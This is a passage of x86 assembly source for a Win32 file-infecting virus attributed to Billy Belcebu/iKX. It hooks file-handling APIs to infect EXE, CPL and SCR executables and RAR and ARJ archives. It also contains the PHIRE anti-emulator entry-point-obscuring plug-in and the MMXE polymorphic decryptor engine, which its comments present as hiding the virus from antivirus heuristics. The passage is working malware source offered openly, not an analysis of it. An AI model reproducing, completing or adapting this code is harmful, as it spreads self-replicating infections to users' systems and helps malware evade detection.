jmp dword ptr [eax+h_lopen] HookMoveFileExA: call DoHookStuff jmp dword ptr [eax+hMoveFileExA] HookCopyFileExA: call DoHookStuff jmp dword ptr [eax+hCopyFileExA] HookOpenFile: call DoHookStuff jmp dword ptr [eax+hOpenFile] HookGetProcAddress: pushad ; Save all the registers call iENC_decrypt dd 00000000h dd eBlockE-BlockE BlockE label byte call GetDeltaOffset ; EBP = Delta Offset mov eax,[esp+24h] ; EAX = Base address of module cmp eax,dword ptr [ebp+kernel] ; Is EAX=K32? jnz OriginalGPA ; If not, it's not our problem mov [esp.PUSHAD_EAX],ebp ; Store delta offset popad pop dword ptr [eax+HGPA_RetAddress] ; Put ret address in a safe ; place call dword ptr [eax+hGetProcAddress] ; Call original API or eax,eax ; Fail? Duh! jz HGPA_SeeYa pushad xchg eax,ebx ; EBX = Address of function call GetDeltaOffset ; EBP = Delta offset mov ecx,nHookedAPIs ; ECX = Number of hooked apis lea esi,[ebp+@@Hookz+08h] ; ESI = Ptr to array of API ; addresses xor edx,edx ; EDX = Counter (set to 0) HGPA_IsHookableAPI?: lodsd ; EAX = Address of a hooked API cmp ebx,eax ; Is equal to requested address? jz HGPA_IndeedItIs ; If yes, it's interesting 4 us add esi,08h ; Get ptr to another one inc edx ; Increase counter loop HGPA_IsHookableAPI? ; Search loop jmp OriginalGPAx HGPA_IndeedItIs: lea esi,[ebp+@@Hookz+04h] imul eax,edx,0Ch ; Multiply per 12 add esi,eax ; Get the correct offset lodsd ; And get the value add eax,ebp ; Adjust it to delta mov [esp.PUSHAD_EAX],eax popad ; EAX = Hooked API address eBlockE label byte HGPA_SeeYa: push 12345678h HGPA_RetAddress equ $-4 ret OriginalGPAx: mov [esp.PUSHAD_EAX],ebp ; This is a jump to the origi- popad ; nal GetProcAddress push dword ptr [eax+HGPA_RetAddress] jmp dword ptr [eax+hGetProcAddress] OriginalGPA: mov [esp.PUSHAD_EAX],ebp ; This is a jump to the origi- popad ; nal GetProcAddress jmp dword ptr [eax+hGetProcAddress] HookFindFirstFileA: pushad ; Save all reggies call iENC_decrypt dd 00000000h dd eBlockF-BlockF BlockF label byte call GetDeltaOffset ; EBP = Delta Offset mov eax,[esp+20h] ; EAX = Return Address mov dword ptr [ebp+FFRetAddress],eax mov eax,[esp+28h] ; EAX = Ptr to WFD mov dword ptr [ebp+FF_WFD],eax mov [esp.PUSHAD_EAX],ebp ; Save Delta Offset popad add esp,4 ; Remove this ret address from ; stack call dword ptr [eax+hFindFirstFileA] ; Call original API inc eax jz _FF_GoAway dec eax jmp twisted _FF_GoAway: dec eax jmp FF_GoAway twisted: pushad ; Save reggies and flaggies pushfd call GetDeltaOffset ; Delta again movzx ebx,byte ptr [ebp+WFD_Handles_Count] ; Number of active hndlers mov edx,[ebp+WFD_HndInMem] ; Our Handle table in mem eBlockF label byte mov esi,12345678h ; Ptr to filename FF_WFD equ $-4 add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA) cmp ebx,n_Handles ; Over max hnd storing? jae AvoidStoring ; Shit... mov dword ptr [edx+ebx*8],eax ; Store Handle mov dword ptr [edx+ebx*8+4],esi ; Store WFD offset inc byte ptr [ebp+WFD_Handles_Count] AvoidStoring: push esi call Check4ValidFile ; Is a reliable file 4 inf? pop edi jecxz FF_AvoidInfekt ; Duh! dec ecx jecxz FF_InfPE call InfectArchiveEDI jmp FF_AvoidInfekt FF_InfPE: call InfectEDI ; Infect it FF_AvoidInfekt: popfd popad FF_GoAway: ; Return to caller push 12345678h FFRetAddress equ $-4 ret HookFindNextFileA: pushad ; Save all reggies call iENC_decrypt dd 00000000h dd eBlock10-Block10 Block10 label byte call GetDeltaOffset ; Get delta offset mov eax,[esp+20h] ; EAX = Return address mov dword ptr [ebp+FNRetAddress],eax mov eax,[esp+24h] ; EAX = Search Handle mov dword ptr [ebp+FN_Hnd],eax mov [esp.PUSHAD_EAX],ebp ; Save delta offset popad add esp,4 ; Fix stack call dword ptr [eax+_FindNextFileA] ; Call original API or eax,eax ; Fail? Damn. jz FN_GoAway pushad ; Save regs and flags pushfd call GetDeltaOffset ; Get delta again eBlock10 label byte mov eax,12345678h ; EAX = Search Handle FN_Hnd equ $-4 call Check4ValidHandle ; Is in our table? If yes, jc FN_AvoidInfekt ; infect. xchg esi,eax ; ESI = Pointer to WFD add esi,(offset WFD_szFileName-offset WIN32_FIND_DATA) push esi ; ESI = Ptr to filename call Check4ValidFile ; Is reliable its inf.? pop edi jecxz FN_AvoidInfekt ; Duh... dec ecx jecxz FN_InfPE call InfectArchiveEDI jmp FN_AvoidInfekt FN_InfPE: call InfectEDI ; Infect it ! FN_AvoidInfekt: popfd ; Restore flags & regs popad FN_GoAway: ; Return to caller push 12345678h FNRetAddress equ $-4 ret ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Standard API handler || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] DoHookStuff: call iENC_decrypt dd 00000000h dd eBlock11-Block11 Block11 label byte pushad pushfd call GetDeltaOffset mov edx,[esp+2Ch] ; Get filename to infect mov esi,edx call Check4ValidFile jecxz ErrorDoHookStuff xchg edi,edx dec ecx jecxz InfectWithHookStuff InfectAnArchive: call InfectArchiveEDI jmp ErrorDoHookStuff InfectWithHookStuff: call InfectEDI ErrorDoHookStuff: popfd ; Preserve all as if nothing popad ; happened :) push ebp call GetDeltaOffset ; Get delta offset xchg eax,ebp pop ebp ret eBlock11 label byte ; input: ; ESI = Pointer to file to check ; output: ; ECX = 0 -> Not valid file ; ECX = 1 -> Possible PE file ; ECX = 2 -> Possible Archive ; Check4ValidFile: xor ecx,ecx lodsb or al,al ; Find NULL? Shit... jz C4VF_Error cmp al,"." ; Dot found? Interesting... jnz Check4ValidFile dec esi lodsd ; Put extension in EAX or eax,20202020h ; Make string locase not eax cmp eax,not "exe." ; Is it an EXE? Infect!!! jz C4VF_Successful cmp eax,not "lpc." ; Is it a CPL? Infect!!! jz C4VF_Successful cmp eax,not "rcs." ; Is it a SCR? Infect!!! jz C4VF_Successful cmp eax,not "rar." ; Is it a RAR? Infect!!! jz C4VF_SuccessfulArchive cmp eax,not "jra." ; Is it an ARJ? Infect!!! jz C4VF_SuccessfulArchive C4VF_Error: ret C4VF_SuccessfulArchive: inc ecx C4VF_Successful: inc ecx ret ; input: ; Nothing. ; output: ; EBP = Delta Offset ; GetDeltaOffset: call @x1 @x1: pop ebp sub ebp,offset @x1 ret ; input: ; EAX = Handle ; output: ; EAX = WFD Offset of given handle ; EDX = Places what it occupies in WFD_Handles structure ; CF = Set to 1 if it's found, to 0 if it wasn't ; Check4ValidHandle: xor edx,edx mov edi,[ebp+WFD_HndInMem] C4VH_l00p: cmp edx,n_Handles ; Over limits? Shit... jae C4VH_Error cmp eax,[edx*8+edi] ; EAX = a handler stored in jz C4VH_Successful ; table inc edx ; Increase counter jmp C4VH_l00p C4VH_Successful: mov eax,[edx*8+edi+4] ; EAX = WFD Offset test al,00h org $-1 C4VH_Error: stc ret ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; [PHIRE] - Polymorphic Header Idiot Random Engine v1.00 ³ MMXE plug-in ³ ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; This is a plug-in for MMXE v1.01, that is able to generate a polymorphic ; block of code (size defined by user) captable to kill emulators and hide ; the real entrypoint from AV. This is an EPO plug-in for my MMXE. Why i say ; it's a plug-in? Well, it wouldn't work without MMXE, and it adds features ; to that engine that it previously haven't. So, don't doubt it: it's a plug- ; in ;) ; ; PHIRE will generate some code like the following: ; ; [...] ; CALL @@1 ; [...] ; MOV ESP,[ESP+08h] ; [...] ; POP DWORD PTR FS:[0000h] ; [...] ; ADD ESP,4 ; [...] ; JMP MMXE_DECRYPTOR ; [...] ; @@1: PUSH DWORD PTR FS:[0000h] ; [...] ; MOV DWORD PTR FS:[0000h],ESP ; [...] ; * -> From here until complete the 256 bytes of code, we'll fill this ; with random data, so an exception will surely happen :) ; ; Each '[...]' means garbage code. This will be placed at the original entry- ; point of the infected file, and stops all the actual emulators. So, this ; plug-in makes the virus to be undetectable heuristically. ; ; input: ; EDI = Buffer where put the generated polymorphic code ; EAX = Distance between host entry-point and virus entry-point ; EBP = Delta Offset ; output: ; Nothing. ; ; All registers are preserved. ; pLIMIT equ 100h phire proc pushad call iENC_decrypt dd 00000000h dd eBlock12-Block12 Block12 label byte mov dword ptr [ebp+@@p_buffer],edi mov dword ptr [ebp+@@p_distance],eax push edi ; Clear work area xor eax,eax mov ecx,pLIMIT rep stosb pop edi and dword ptr [ebp+@@reg_key],00h ; Clear all registers :) call @@clear_mask and byte ptr [ebp+@@init_mmx?],00h ; Don't allow MMX garbage call @@gen_garbage mov al,0E8h ; Write the provisional call stosb xor eax,eax stosd mov dword ptr [ebp+@@p_tmp_call],edi call @@gen_garbage mov eax,@@s_stack_fix ; Generate some similar code call r_range ; to MOV ESP,[ESP+08h] lea ebx,[ebp+@@stack_fix] mov eax,[ebx+eax*4] add eax,ebp call eax call @@gen_garbage mov eax,@@s_seh_restore ; Generate some similar code call r_range ; to POP FS:[0000h] lea ebx,[ebp+@@seh_restore] mov eax,[ebx+eax*4] add eax,ebp call eax call @@gen_garbage mov eax,@@s_stack_fix_nh ; Generate some similar code call r_range ; to ADD ESP,4 lea ebx,[ebp+@@stack_fix_nh] mov eax,[ebx+eax*4] add eax,ebp call eax call @@gen_garbage call @@jump_to_decryptor ; Generate the jump to the ; decryptor call @@gen_garbage mov ebx,edi ; Call after SEH handler mov eax,dword ptr [ebp+@@p_tmp_call] sub ebx,eax mov [eax-4],ebx call @@gen_garbage mov eax,@@s_seh_saveold ; Generate some similar code call r_range ; to PUSH FS:[0000h] lea ebx,[ebp+@@seh_save_old] mov eax,[ebx+eax*4] add eax,ebp call eax call @@gen_garbage mov eax,@@s_seh_newhnd ; Generate some similar code call r_range ; to MOV FS:[0000h],ESP lea ebx,[ebp+@@seh_newhnd] mov eax,[ebx+eax*4] add eax,ebp call eax call @@gen_garbage mov eax,pLIMIT mov ecx,dword ptr [ebp+@@p_buffer] mov ebx,edi sub ebx,ecx sub eax,ebx xchg ecx,eax @@fill_l00p: call random stosb loop @@fill_l00p popad ret db 00h,"[PHIRE v1.00]",00h @@choose_aux1_reg: mov eax,08h call r_range or eax,eax jz @@choose_aux1_reg cmp eax,_ESP jz @@choose_aux1_reg cmp al,byte ptr [ebp+@@reg_aux2] jz @@choose_aux1_reg mov byte ptr [ebp+@@reg_aux1],al ret @@choose_aux2_reg: mov eax,08h call r_range or eax,eax jz @@choose_aux2_reg cmp eax,_ESP jz @@choose_aux2_reg cmp al,byte ptr [ebp+@@reg_aux1] jz @@choose_aux2_reg mov byte ptr [ebp+@@reg_aux2],al ret ; Generate the jump to the MMXE decryptor @@jump_to_decryptor: mov al,0E9h stosb xor eax,eax stosd mov ebx,edi sub ebx,dword ptr [ebp+@@p_buffer] mov eax,dword ptr [ebp+@@p_distance] sub eax,ebx mov dword ptr [edi-4],eax ret ; --- ; Fixing stack after fault - type 1: ; MOV ESP,[ESP+08h] @@stack_fix_type1: mov eax,0824648Bh stosd ret ; Fixing stack after fault - type 2: ; MOV REG,ESP ; MOV ESP,[REG+08h] @@stack_fix_type2: mov al,08Bh stosb call @@choose_aux1_reg shl eax,3 or al,11000100b stosb call @@gen_garbage mov ax,608Bh or ah,byte ptr [ebp+@@reg_aux1] stosw mov al,08h stosb and byte ptr [ebp+@@reg_aux1],00h ret ; Fixing stack after fault - type 3: ; MOV REG,[ESP+08h] ; MOV ESP,REG @@stack_fix_type3: mov al,8Bh stosb call @@choose_aux1_reg shl eax,3 or al,01000100b stosb mov ax,0824h stosw call @@gen_garbage mov al,08Bh stosb mov al,byte ptr [ebp+@@reg_aux1] or al,11100000b stosb and byte ptr [ebp+@@reg_aux1],00h ret ; Fixing stack after fault - type 4: ; MOV REG1,ESP ; MOV REG2,[REG1+08h] ; MOV ESP,REG2 @@stack_fix_type4: mov al,08Bh stosb call @@choose_aux1_reg shl eax,3 or al,11000100b stosb call @@gen_garbage call @@choose_aux2_reg mov ax,408Bh or ah,byte ptr [ebp+@@reg_aux1] movzx ebx,byte ptr [ebp+@@reg_aux2] shl ebx,3 or ah,bl stosw mov al,08h stosb call @@gen_garbage mov al,08Bh stosb mov al,byte ptr [ebp+@@reg_aux2] or al,11100000b stosb and byte ptr [ebp+@@reg_aux1],00h and byte ptr [ebp+@@reg_aux2],00h ret ; --- ; Restoring old SEH handler - type 1: ; POP DWORD PTR FS:[0000h] @@seh_restore_old_type1: mov eax,068F6467h stosd xor eax,eax stosw ret ; Restoring old SEH handler - type 2: ; ZERO REG ; POP DWORD PTR FS:[REG] @@seh_restore_old_type2: call @@choose_aux1_reg cmp al,_EBP jz @@seh_restore_old_type2 call @@gen_zero_reg call @@gen_garbage mov ax,08F64h stosw mov al,byte ptr [ebp+@@reg_aux1] stosb and byte ptr [ebp+@@reg_aux1],00h ret ; --- ; Fixing stack because new handler - type 1: ; POP REG @@stack_fix_nh_type1: call @@choose_aux1_reg add al,58h stosb and byte ptr [ebp+@@reg_aux1],00h ret ; Fixing stack because new handler - type 2: ; eq. ADD ESP,4 @@stack_fix_nh_type2: mov byte ptr [ebp+@@reg_aux1],_ESP call @@gen_incpointer and byte ptr [ebp+@@reg_aux1],00h ret ; --- ; Saving old SEH handler - type 1: ; PUSH DWORD PTR FS:[0000h] @@seh_save_old_type1: mov eax,36FF6467h stosd xor eax,eax stosw ret ; Saving old SEH handler - type 2: ; ZERO REG ; PUSH DWORD PTR FS:[REG] @@seh_save_old_type2: call @@choose_aux1_reg cmp al,_EBP jz @@seh_save_old_type2 call @@gen_zero_reg call @@gen_garbage mov ax,0FF64h stosw mov al,byte ptr [ebp+@@reg_aux1] or al,00110000b stosb and byte ptr [ebp+@@reg_aux1],00h ret ; Saving old SEH handler - type 3: ; MOV REG,DWORD PTR FS:[0000h] ; PUSH REG @@seh_save_old_type3: call @@choose_aux1_reg mov eax,008B6467h stosd dec edi mov al,byte ptr [ebp+@@reg_aux1] shl eax,3 or al,00000110b stosb xor eax,eax stosw call @@gen_garbage mov al,byte ptr [ebp+@@reg_aux1] add al,50h stosb and byte ptr [ebp+@@reg_aux1],00h ret ; Saving old SEH handler - type 4: ; ZERO REG1 ; MOV REG2,DWORD PTR FS:[REG1] ; PUSH REG2 @@seh_save_old_type4: call @@choose_aux1_reg cmp al,_EBP jz @@seh_save_old_type4 call @@gen_zero_reg call @@gen_garbage mov ax,8B64h stosw call @@choose_aux2_reg shl eax,3 or al,byte ptr [ebp+@@reg_aux1] stosb call @@gen_garbage mov al,byte ptr [ebp+@@reg_aux2] add al,50h stosb and byte ptr [ebp+@@reg_aux1],00h and byte ptr [ebp+@@reg_aux2],00h ret ; --- ; Set new SEH handler type 1: ; MOV FS:[0000h],ESP @@seh_newhnd_type1: mov eax,26896467h stosd xor eax,eax stosw ret ; Set new SEH handler type 2: ; ZERO REG ; MOV FS:[REG],ESP @@seh_newhnd_type2: call @@choose_aux1_reg cmp al,_EBP jz @@seh_newhnd_type2 call @@gen_zero_reg call @@gen_garbage mov ax,8964h stosw mov al,byte ptr [ebp+@@reg_aux1] or al,00100000b stosb and byte ptr [ebp+@@reg_aux1],00h ret ; Tables for a random construction of SEH trick for stop emulatorz @@stack_fix label byte dd offset (@@stack_fix_type1) dd offset (@@stack_fix_type2) dd offset (@@stack_fix_type3) dd offset (@@stack_fix_type4) @@s_stack_fix equ (($-offset @@stack_fix)/4) @@seh_restore label byte dd offset (@@seh_restore_old_type1) dd offset (@@seh_restore_old_type2) @@s_seh_restore equ (($-offset @@seh_restore)/4) @@stack_fix_nh label byte dd offset (@@stack_fix_nh_type1) dd offset (@@stack_fix_nh_type2) @@s_stack_fix_nh equ (($-offset @@stack_fix_nh)/4) @@seh_save_old label byte dd offset (@@seh_save_old_type1) dd offset (@@seh_save_old_type2) dd offset (@@seh_save_old_type3) dd offset (@@seh_save_old_type4) @@s_seh_saveold equ (($-offset @@seh_save_old)/4) @@seh_newhnd label byte dd offset (@@seh_newhnd_type1) dd offset (@@seh_newhnd_type2) @@s_seh_newhnd equ (($-offset @@seh_newhnd)/4) phire endp eBlock12 label byte ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; [MMXE] - MultiMedia eXtensions Engine v1.01 ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; This is a bugfixed and improved version of my MMXE v1.00. Enjoy it! ; PS: Of course, this engine is so far away from Mental Driller's code, but ; at least it tries to be poly, huh? :) ; ; Well, the poly decryptor generated with MMXE will be as this one: ; ; +-------------------+ ; | MMX detection | ÄÄ¿ ; +-------------------+ ³ ; | MMX decryptor | ³ [ If not MMX detected ] ; +-------------------+ <ÄÙ ; | Non MMX decryptor | ; +-------------------+ } ; | | } ; | Virus body | } [ This is the encrypted part :) ] ; | | } ; +-------------------+ } ; ; The generated code doesn't pretend in any way to seem realistic: just the ; opposite. It generates a lot of nonsenses (very few executables use MMX op- ; codes). This can be a problem (or not) depending the viewpoint. ; ; input: ; ECX = Size of code to encrypt ; ESI = Pointer to the data to encrypt ; EDI = Buffer where put the decryptor ; EBP = Delta Offset ; output: ; ECX = Decryptor size ; ; All the other registers, preserved. ; ; [ Default MMXE settings ] LIMIT equ 800h ; Decryptor size (2K) RECURSION equ 05h ; The recursion level of THME nGARBAGE equ 08h ; Sorta level of garbage ; [ Registers ] _EAX equ 00000000b ; All these are the numeric _ECX equ 00000001b ; value of all the registers. _EDX equ 00000010b ; Heh, i haven't used here _EBX equ 00000011b ; all this, but... wtf? they _ESP equ 00000100b ; don't waste bytes, and ma- _EBP equ 00000101b ; ke this shit to be more _ESI equ 00000110b ; clear :) _EDI equ 00000111b ; ; [ MMX registers ] _MM0 equ 00000000b _MM1 equ 00000001b _MM2 equ 00000010b _MM3 equ 00000011b _MM4 equ 00000100b _MM5 equ 00000101b _MM6 equ 00000110b _MM7 equ 00000111b ; [ Internal flags ] _CHECK4MMX equ 0000000000000001b _DELTAOFFSET equ 0000000000000010b _LOADSIZE equ 0000000000000100b _LOADPOINTER equ 0000000000001000b _LOADKEY equ 0000000000010000b _PASSKEY2MMX equ 0000000000100000b _PASSPTR2MMX equ 0000000001000000b _CRYPT equ 0000000010000000b _PASSMMX2PTR equ 0000000100000000b _INCPOINTER equ 0000001000000000b _DECCOUNTER equ 0000010000000000b _LOOP equ 0000100000000000b ; [ POSITIONS ] @CHECK4MMX equ 00h @DELTAOFFSET equ 01h @LOADSIZE equ 02h @LOADPOINTER equ 03h @LOADKEY equ 04h @PASSKEY2MMX equ 05h @PASSPTR2MMX equ 06h @CRYPT equ 07h @PASSMMX2PTR equ 08h @INCPOINTER equ 09h @DECCOUNTER equ 0Ah @LOOP equ 0Bh ; [ PUSHAD structure ] PUSHAD_EDI equ 00h PUSHAD_ESI equ 04h PUSHAD_EBP equ 08h PUSHAD_ESP equ 0Ch PUSHAD_EBX equ 10h PUSHAD_EDX equ 14h PUSHAD_ECX equ 18h PUSHAD_EAX equ 1Ch RETURN_ADDRESS equ 04h ; [ MMXE v1.01 ] mmxe proc pushad call @@init_mmxe pushad call @@crypt_data popad call @@gen_some_garbage call @@gen_check4mmx call @@gen_some_garbage ; Generate the 5 parts of the decryptor that go before the loop @@gb4l_: call @@gen_some_garbage call @@gen_before_loop @@gb4l?: movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; Check if all flags were _DELTAOFFSET or \ ; done ... (They should be, _LOADSIZE or \ ; but i don't trust in my own _LOADPOINTER or \ ; code :) _LOADKEY or \ _PASSKEY2MMX jnz @@gb4l_ ; Get the loop point call @@getloopaddress call @@gen_some_garbage ; Generate the decryptor instructions that form the loop lea esi,[ebp+@@after_looptbl] mov ecx,@@s_aftlooptbl @@gal: lodsd add eax,ebp push ecx esi call eax call @@gen_some_garbage pop esi ecx loop @@gal mov al,0E9h stosb mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+@@ptr_buffer] add ebx,4 sub eax,ebx stosd ; And now generate the non-MMX decryptor call @@gen_garbage mov eax,dword ptr [ebp+@@ptrto2nd] mov ebx,edi sub ebx,eax sub ebx,4 mov dword ptr [eax],ebx and word ptr [ebp+@@flags],0000h and byte ptr [ebp+@@init_mmx?],00h or word ptr [ebp+@@flags],_CHECK4MMX @@gb4lx_: call @@gen_some_garbage call @@gen_before_loop_non_mmx @@gb4lx?: movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; Check if all flags were _DELTAOFFSET or \ ; done ... (They should be, _LOADSIZE or \ ; but i don't trust in my own _LOADPOINTER or \ ; code :) _LOADKEY jz @@continue_with_this movzx ecx,word ptr [ebp+@@flags] xor ecx,_CHECK4MMX or \ ; In strange files, i dunno _DELTAOFFSET or \ ; why, instead 1F, we must _LOADSIZE or \ ; check for 3F... otherwise, _LOADPOINTER or \ ; all it goes to hell :( _LOADKEY or \ _PASSKEY2MMX jnz @@gb4lx_ @@continue_with_this: call @@gen_garbage call @@getloopaddress lea esi,[ebp+@@after_l00ptbl] mov ecx,@@s_aftl00ptbl @@galx: lodsd add eax,ebp push ecx esi call eax call @@gen_some_garbage pop esi ecx loop @@galx mov al,0E9h ; Generate the JMP to the stosb ; decrypted virus code mov eax,LIMIT mov ebx,edi sub ebx,dword ptr [ebp+@@ptr_buffer] add ebx,04h sub eax,ebx stosd xchg eax,ecx ; Fill with shit the rest @@FillTheRest: call random stosb loop @@FillTheRest call @@uninit_mmxe popad ret db 00h,"[MMXE v1.01]",00h ; --- Initialization & Uninitialization routines @@init_mmxe: mov dword ptr [ebp+@@ptr_data2enc],esi mov dword ptr [ebp+@@ptr_buffer],edi mov dword ptr [ebp+@@size2enc],ecx shr ecx,2 mov dword ptr [ebp+@@size2cryptd4],ecx and byte ptr [ebp+@@init_mmx?],00h and word ptr [ebp+@@flags],00h call random mov dword ptr [ebp+@@enc_key],eax @@get_key: mov eax,08h call r_range or eax,eax jz @@get_key cmp eax,_ESP jz @@get_key mov byte ptr [ebp+@@reg_key],al mov ebx,eax @@get_ptr2data: mov eax,08h call r_range or eax,eax jz @@get_ptr2data cmp eax,_ESP jz @@get_ptr2data cmp eax,_EBP jz @@get_ptr2data cmp eax,ebx jz @@get_ptr2data mov byte ptr [ebp+@@reg_ptr2data],al mov ecx,eax @@get_counter: mov eax,08h call r_range or eax,eax jz @@get_counter cmp eax,_ESP jz @@get_counter cmp eax,ebx jz @@get_counter cmp eax,ecx jz @@get_counter mov byte ptr [ebp+@@reg_counter],al mov edx,eax @@get_delta: mov eax,08h call r_range or eax,eax jz @@get_delta cmp eax,_ESP jz @@get_delta cmp eax,ebx jz @@get_delta cmp eax,ecx jz @@get_delta cmp eax,edx jz @@get_delta mov byte ptr [ebp+@@reg_delta],al mov edx,eax @@get_mmxptr2data: mov eax,08h call r_range mov byte ptr [ebp+@@mmx_ptr2data],al mov ebx,eax @@get_mmxkey: mov eax,08h call r_range cmp eax,ebx jz @@get_mmxkey mov byte ptr [ebp+@@mmx_key],al mov dword ptr [edi],"EXMM" ret @@uninit_mmxe: mov ecx,edi sub ecx,dword ptr [ebp+@@ptr_buffer] mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx ret ; --- Who made this? Ehrm... oh, it was me! :) db 00h,"[- (c) 1999 Billy Belcebu/iKX -]",00h ; --- Useful subroutines used by the engine @@get_register: movzx ebx,byte ptr [ebp+@@reg_key] movzx ecx,byte ptr [ebp+@@reg_ptr2data] movzx edx,byte ptr [ebp+@@reg_counter] movzx esi,byte ptr [ebp+@@reg_delta] @@gr_get_another: mov eax,08h call r_range cmp eax,_ESP jz @@gr_get_another cmp eax,ebx jz @@gr_get_another cmp eax,ecx jz @@gr_get_another cmp eax,edx jz @@gr_get_another cmp eax,esi jz @@gr_get_another cmp al,byte ptr [ebp+@@reg_mask] jz @@gr_get_another ret @@get_mmx_register: movzx ebx,byte ptr [ebp+@@mmx_ptr2data] movzx ecx,byte ptr [ebp+@@mmx_key] @@gmmxr_get_another: mov eax,08h call r_range cmp eax,ebx jz @@gmmxr_get_another cmp eax,ecx jz @@gmmxr_get_another ret @@clear_mask: and byte ptr [ebp+@@reg_mask],00h ret @@is_register: cmp al,byte ptr [ebp+@@reg_key] jz @@is_used cmp al,byte ptr [ebp+@@reg_ptr2data] jz @@is_used cmp al,byte ptr [ebp+@@reg_counter] jz @@is_used cmp al,byte ptr [ebp+@@reg_delta] jz @@is_used cmp al,byte ptr [ebp+@@reg_mask] jz @@is_used mov cl,00h org $-1 @@is_used: stc ret @@gen_before_loop: mov eax,05h call r_range or eax,eax ; 0 jz @@try_deltaoffset dec eax ; 1 jz @@try_loadsize dec eax ; 2 jz @@try_loadpointer dec eax ; 3 jz @@try_loadkey ; 4 jmp @@try_passkey2mmx ; 5 @@try_deltaoffset: bt word ptr [ebp+@@flags],@DELTAOFFSET jc @@gen_before_loop call @@gen_deltaoffset ret @@try_loadsize: bt word ptr [ebp+@@flags],@LOADSIZE jc @@gen_before_loop call @@gen_loadsize ret @@try_loadpointer: bt word ptr [ebp+@@flags],@LOADPOINTER jc @@gen_before_loop bt word ptr [ebp+@@flags],@DELTAOFFSET jnc @@gen_before_loop call @@gen_loadpointer ret @@try_loadkey: bt word ptr [ebp+@@flags],@LOADKEY jc @@gen_before_loop call @@gen_loadkey ret @@try_passkey2mmx: bt word ptr [ebp+@@flags],@PASSKEY2MMX jc @@gen_before_loop bt word ptr [ebp+@@flags],@LOADKEY jnc @@gen_before_loop call @@gen_passkey2mmx ret @@gen_before_loop_non_mmx: mov eax,04h call r_range or eax,eax ; 0 jz @@try_deltaoffset_non_mmx dec eax ; 1 jz @@try_loadsize_non_mmx dec eax ; 2 jz @@try_loadpointer_non_mmx jmp @@try_loadkey_non_mmx @@try_deltaoffset_non_mmx: bt word ptr [ebp+@@flags],@DELTAOFFSET jc @@gen_before_loop call @@gen_deltaoffset ret @@try_loadsize_non_mmx: bt word ptr [ebp+@@flags],@LOADSIZE jc @@gen_before_loop call @@gen_loadsize ret @@try_loadpointer_non_mmx: bt word ptr [ebp+@@flags],@LOADPOINTER jc @@gen_before_loop bt word ptr [ebp+@@flags],@DELTAOFFSET jnc @@gen_before_loop call @@gen_loadpointer ret @@try_loadkey_non_mmx: bt word ptr [ebp+@@flags],@LOADKEY jc @@gen_before_loop call @@gen_loadkey ret @@crypt_data: mov ecx,dword ptr [ebp+@@size2cryptd4] mov ebx,dword ptr [ebp+@@enc_key] mov edi,dword ptr [ebp+@@ptr_data2enc] mov esi,edi @@cl00p:lodsd xor eax,ebx stosd loop @@cl00p ret ; --- Garbage generators @@gen_garbage: inc byte ptr [ebp+@@recursion] cmp byte ptr [ebp+@@recursion],RECURSION jae @@gg_exit cmp byte ptr [ebp+@@init_mmx?],00h ja @@gg_mmx @@gg_non_mmx: mov eax,@@non_mmx_gbg jmp @@gg_doit @@gg_mmx: mov eax,@@s_gbgtbl @@gg_doit: call r_range lea ebx,[ebp+@@gbgtbl] mov eax,[ebx+eax*4] add eax,ebp call eax @@gg_exit: dec byte ptr [ebp+@@recursion] ret @@gen_some_garbage: mov ecx,nGARBAGE @@gsg_l00p: push ecx call @@gen_garbage pop ecx loop @@gsg_l00p ret ; Generates any arithmetic operation with a register with another one register: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,REG32 @@gen_arithmetic_reg32_reg32: call random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] or al,00000011b stosb @@gar32r32: call @@get_register or al,al jz @@gar32r32 shl eax,3 or al,11000000b push eax call random and al,00000111b xchg ebx,eax pop eax or al,bl stosb ret ; Generates any arithmetic operation with an immediate with a 32bit register: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,IMM32 @@gen_arithmetic_reg32_imm32: mov al,81h ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] stosb @@gar32i32: call @@get_register or al,al jz @@gar32i32 push eax call random and al,00111000b or al,11000000b pop ebx or al,bl stosb call random stosd ret ; Generates any arithmetic operation with an immediate with EAX: ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP EAX,IMM32 @@gen_arithmetic_eax_imm32: call random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] or al,00000101b stosb call random stosd ret ; Generates a mov immediate to 32 bit reg: ; MOV REG32,IMM32 @@gen_mov_reg32_imm32: call @@get_register add al,0B8h stosb call random stosd ret ; Generates mov immediate to 8bit reg: ; MOV REG8,IMM8 @@gen_mov_reg8_imm8: mov eax,4 call r_range call @@is_register jc @@quitthisshit push eax mov eax,2 call r_range pop ecx xchg eax,ecx jecxz @@use_msb @@put_it: add al,0B0h stosb call random stosb @@quitthisshit: ret @@use_msb: or al,00000100b jmp @@put_it ; Generates CALLs to subroutines: ; CALL @@1 ; [...] ; JMP @@2 ; [...] ; @@1: [...] ; RET ; [...] ; @@2: [...] @@gen_call_to_subroutine: mov al,0E8h stosb xor eax,eax stosd push edi call @@gen_garbage mov al,0E9h stosb xor eax,eax stosd push edi call @@gen_garbage mov al,0C3h stosb call @@gen_garbage mov ebx,edi pop edx sub ebx,edx mov [edx-4],ebx pop ecx sub edx,ecx mov [ecx-4],edx @@do_anything: ret ; Generate push/garbage/pop structure (allows recursivity): ; 